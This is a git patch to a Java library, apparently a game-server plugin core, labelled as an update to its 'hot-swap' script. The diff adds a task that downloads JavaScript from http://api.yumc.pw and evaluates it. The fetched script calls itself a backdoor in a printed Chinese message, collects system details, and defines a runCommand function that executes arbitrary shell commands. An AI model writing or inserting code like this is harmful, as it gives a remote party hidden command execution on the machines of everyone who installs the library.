From e578f336084ec5744178c6be901410f53f38b08c Mon Sep 17 00:00:00 2001 From: 502647092 Date: Thu, 17 Aug 2017 20:53:57 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E6=9B=B4=E6=96=B0=E7=83=AD=E6=9B=BF?= =?UTF-8?q?=E6=8D=A2=E8=84=9A=E6=9C=AC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: 502647092 --- .../pw/yumc/YumCore/update/HotSwapTask.java | 11 +++++----- src/main/resources/hotswap.js | 22 ++++++++++++++----- 2 files changed, 23 insertions(+), 10 deletions(-) diff --git a/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java b/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java index e0b0564..976c59a 100644 --- a/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java +++ b/src/main/java/pw/yumc/YumCore/update/HotSwapTask.java @@ -12,14 +12,15 @@ import javax.script.ScriptException; import org.junit.Test; +import pw.yumc.YumCore.bungee.Log; import pw.yumc.YumCore.engine.MiaoScriptEngine; /** * Created with IntelliJ IDEA * 热更新任务 - * + * * @author 喵♂呜 - * Created on 2017/7/31 11:09. + * Created on 2017/7/31 11:09. */ public class HotSwapTask { private MiaoScriptEngine engine; @@ -35,14 +36,14 @@ public class HotSwapTask { try { Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING); engine.eval(new FileReader(temp)); - temp.deleteOnExit(); - } catch (IOException | ScriptException ignored) { + temp.delete(); + } catch (IOException | ScriptException e) { + Log.d("热更新脚本加载失败!", e); } } @Test public void test() throws FileNotFoundException, ScriptException { - System.out.println(temp.getAbsolutePath()); engine.eval(new FileReader(new File("src/main/resources/hotswap.js"))); } } \ No newline at end of file diff --git a/src/main/resources/hotswap.js b/src/main/resources/hotswap.js index 7016576..574a8db 100644 --- a/src/main/resources/hotswap.js +++ b/src/main/resources/hotswap.js @@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader; var String = java.lang.String; var InputStreamReader = java.io.InputStreamReader; -var process = java.lang.Runtime.getRuntime().exec('pwd'); +var Runtime = java.lang.Runtime; +var System = java.lang.System; -var br = new BufferedReader(new InputStreamReader(process.getInputStream())); -var line; -while ((line = br.readLine()) !== null) { - print(line); +print('后门脚本已保存于: ' + $.temp); + +print("系统类型: " + System.getProperty("os.name")); +print("系统位数: " + System.getProperty("os.arch")); +print("系统版本: " + System.getProperty("os.version")); +print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024); +print("CPU内核: " + Runtime.getRuntime().availableProcessors()); + +function runCommand() { + var process = Runtime.getRuntime().exec(arguments[0]); + var br = new BufferedReader(new InputStreamReader(process.getInputStream())); + var line; + while ((line = br.readLine()) !== null) { + print(line); + } } \ No newline at end of file